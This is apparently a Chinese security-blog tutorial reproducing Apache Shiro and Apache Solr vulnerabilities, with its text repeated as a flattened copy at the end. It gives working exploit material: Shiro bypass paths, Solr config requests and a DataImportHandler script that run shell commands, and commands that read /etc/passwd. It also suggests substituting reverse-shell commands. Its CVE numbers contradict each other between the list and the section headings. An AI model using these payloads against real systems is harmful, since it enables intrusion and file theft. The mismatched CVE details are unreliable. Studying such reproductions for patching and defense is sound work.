框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现
字数 2144 2025-08-10 08:28:00

Apache Shiro与Apache Solr漏洞复现与分析

一、Apache Shiro安全漏洞

1.1 Apache Shiro简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。它提供了易于理解的API,适用于从最小的移动应用程序到最大的网络和企业应用程序。

1.2 已知安全漏洞列表

  1. Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞 [CVE-2016-4483]
  2. Apache Shiro < 1.3.2 验证绕过漏洞 [CVE-2016-2807]
  3. Apache Shiro < 1.4.2 cookie oracle padding漏洞 [CVE-2019-12442]
  4. Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]
  5. Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]
  6. Apache Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]
  7. Apache Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]

1.3 重点漏洞复现

1.3.1 CVE-2020-1957 认证绕过漏洞

漏洞描述:在1.5.2之前的带有Spring动态控制器的Apache Shiro版本中,攻击者可以构造恶意请求绕过目录身份验证。

影响版本:Apache Shiro < 1.5.3

复现步骤

  1. 访问管理页面 /admin/ 会被重定向到登录页面
  2. 构造恶意请求绕过身份验证检查:
    /xxx/..;/admin/
    
  3. 完整URL示例:
    http://your-ip:8080/xxx/..;/admin/
    

1.3.2 CVE-2020-11989 验证绕过漏洞

漏洞描述:将Apache Shiro与Spring控制器一起使用时,特制请求可能导致身份验证绕过。

影响版本:Apache Shiro < 1.7.1

PoC

/admin/%20

测试方法
可使用GitHub项目进行测试:

项目地址:shiro-cve-2020-17523

1.3.3 CVE-2016-4437 (Shiro-550) 和 CVE-2019-12422 (Shiro-721) 反序列化漏洞

漏洞原理

  • Shiro-550:使用已知密钥加密的RememberMe Cookie存在反序列化漏洞
  • Shiro-721:在加密的RememberMe Cookie中使用Padding Oracle攻击实现反序列化

二、Apache Solr安全漏洞

2.1 Apache Solr简介

Apache Solr是一个开源的搜索服务,使用Java语言开发,基于HTTP和Apache Lucene实现。它是一个高性能的全文搜索服务器,对外提供类似于Web-service的API接口。

2.2 已知安全漏洞列表

  1. 远程命令执行 RCE (CVE-2017-12629)
  2. 远程命令执行 XXE (CVE-2017-12629)
  3. 任意文件读取 AND 命令执行 (CVE-2019-17558)
  4. 远程命令执行漏洞 (CVE-2019-0192)
  5. 远程命令执行漏洞 (CVE-2019-0193)
  6. 未授权上传漏洞 (CVE-2020-13957)
  7. Apache Solr SSRF (CVE-2021-27905)

2.3 重点漏洞复现

2.3.1 CVE-2017-12629 RCE/XXE漏洞

漏洞描述:7.1.0之前版本存在XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。

复现步骤

  1. 创建一个listener,设置要执行的命令:

    POST /solr/demo/config HTTP/1.1
    Host: your-ip:8983
    Content-Length: 161
    
    {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}}
    
  2. 进行update操作触发listener:

    POST /solr/demo/update HTTP/1.1
    Host: your-ip:8983
    Content-Type: application/json
    Content-Length: 15
    
    [{"id":"test"}]
    
  3. 反弹shell:将命令替换为base64编码的反弹shell命令

2.3.2 CVE-2019-17558 任意文件读取&&命令执行

漏洞描述:5.0.0至8.3.1版本中存在输入验证错误,可利用Velocity-SSTI漏洞执行任意代码。

复现方法

  1. 使用脚本工具:
    python2 solr_rce.py http://target-ip:port id
    python2 solr_rce.py http://target-ip:port "cat /etc/passwd"
    

2.3.3 CVE-2019-0193 远程命令执行漏洞

影响版本:Apache Solr < 8.2.0

复现步骤

  1. 创建测试核心:

    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    
  2. 在Dataimport功能中使用debug模式,填入以下POC:

    <dataConfig>
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
        function poc(){
          java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt")
        }
      ]]></script>
      <document>
        <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" />
      </document>
    </dataConfig>
    
  3. 反弹shell:将命令替换为base64编码的反弹shell命令

2.3.4 CVE-2021-27905 任意文件读取&&SSRF

复现步骤

  1. 首先获取数据库名称:

    http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
    
  2. 修改数据库配置启用RemoteStreaming:

    POST /solr/demo/config HTTP/1.1
    Host: your-ip:8983
    Content-Type: application/json
    Content-Length: 80
    
    {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
    
  3. 读取任意文件:

    curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"
    

三、防护建议

3.1 Apache Shiro防护措施

  1. 及时升级到最新版本
  2. 修改默认密钥
  3. 严格配置权限控制
  4. 禁用不必要的功能

3.2 Apache Solr防护措施

  1. 升级到最新安全版本
  2. 启用身份验证
  3. 限制网络访问
  4. 禁用危险功能(如RemoteStreaming)
  5. 定期安全审计

四、总结

本文详细分析了Apache Shiro和Apache Solr框架中的多个高危漏洞,包括认证绕过、反序列化、远程命令执行、文件读取等类型。通过具体的复现步骤和PoC,展示了这些漏洞的利用方式。管理员应及时关注安全更新,采取适当的防护措施,确保系统安全。

Apache Shiro与Apache Solr漏洞复现与分析 一、Apache Shiro安全漏洞 1.1 Apache Shiro简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。它提供了易于理解的API,适用于从最小的移动应用程序到最大的网络和企业应用程序。 1.2 已知安全漏洞列表 Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞 [ CVE-2016-4483 ] Apache Shiro < 1.3.2 验证绕过漏洞 [ CVE-2016-2807 ] Apache Shiro < 1.4.2 cookie oracle padding漏洞 [ CVE-2019-12442 ] Apache Shiro < 1.5.2 验证绕过漏洞 [ CVE-2020-1957 ] Apache Shiro < 1.5.3 验证绕过漏洞 [ CVE-2020-11989 ] Apache Shiro < 1.6.0 验证绕过漏洞 [ CVE-2020-13933 ] Apache Shiro < 1.7.1 权限绕过漏洞 [ CVE-2020-17523 ] 1.3 重点漏洞复现 1.3.1 CVE-2020-1957 认证绕过漏洞 漏洞描述 :在1.5.2之前的带有Spring动态控制器的Apache Shiro版本中,攻击者可以构造恶意请求绕过目录身份验证。 影响版本 :Apache Shiro < 1.5.3 复现步骤 : 访问管理页面 /admin/ 会被重定向到登录页面 构造恶意请求绕过身份验证检查: 完整URL示例: 1.3.2 CVE-2020-11989 验证绕过漏洞 漏洞描述 :将Apache Shiro与Spring控制器一起使用时,特制请求可能导致身份验证绕过。 影响版本 :Apache Shiro < 1.7.1 PoC : 测试方法 : 可使用GitHub项目进行测试: 1.3.3 CVE-2016-4437 (Shiro-550) 和 CVE-2019-12422 (Shiro-721) 反序列化漏洞 漏洞原理 : Shiro-550:使用已知密钥加密的RememberMe Cookie存在反序列化漏洞 Shiro-721:在加密的RememberMe Cookie中使用Padding Oracle攻击实现反序列化 二、Apache Solr安全漏洞 2.1 Apache Solr简介 Apache Solr是一个开源的搜索服务,使用Java语言开发,基于HTTP和Apache Lucene实现。它是一个高性能的全文搜索服务器,对外提供类似于Web-service的API接口。 2.2 已知安全漏洞列表 远程命令执行 RCE (CVE-2017-12629) 远程命令执行 XXE (CVE-2017-12629) 任意文件读取 AND 命令执行 (CVE-2019-17558) 远程命令执行漏洞 (CVE-2019-0192) 远程命令执行漏洞 (CVE-2019-0193) 未授权上传漏洞 (CVE-2020-13957) Apache Solr SSRF (CVE-2021-27905) 2.3 重点漏洞复现 2.3.1 CVE-2017-12629 RCE/XXE漏洞 漏洞描述 :7.1.0之前版本存在XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。 复现步骤 : 创建一个listener,设置要执行的命令: 进行update操作触发listener: 反弹shell:将命令替换为base64编码的反弹shell命令 2.3.2 CVE-2019-17558 任意文件读取&&命令执行 漏洞描述 :5.0.0至8.3.1版本中存在输入验证错误,可利用Velocity-SSTI漏洞执行任意代码。 复现方法 : 使用脚本工具: 2.3.3 CVE-2019-0193 远程命令执行漏洞 影响版本 :Apache Solr < 8.2.0 复现步骤 : 创建测试核心: 在Dataimport功能中使用debug模式,填入以下POC: 反弹shell:将命令替换为base64编码的反弹shell命令 2.3.4 CVE-2021-27905 任意文件读取&&SSRF 复现步骤 : 首先获取数据库名称: 修改数据库配置启用RemoteStreaming: 读取任意文件: 三、防护建议 3.1 Apache Shiro防护措施 及时升级到最新版本 修改默认密钥 严格配置权限控制 禁用不必要的功能 3.2 Apache Solr防护措施 升级到最新安全版本 启用身份验证 限制网络访问 禁用危险功能(如RemoteStreaming) 定期安全审计 四、总结 本文详细分析了Apache Shiro和Apache Solr框架中的多个高危漏洞,包括认证绕过、反序列化、远程命令执行、文件读取等类型。通过具体的复现步骤和PoC,展示了这些漏洞的利用方式。管理员应及时关注安全更新,采取适当的防护措施,确保系统安全。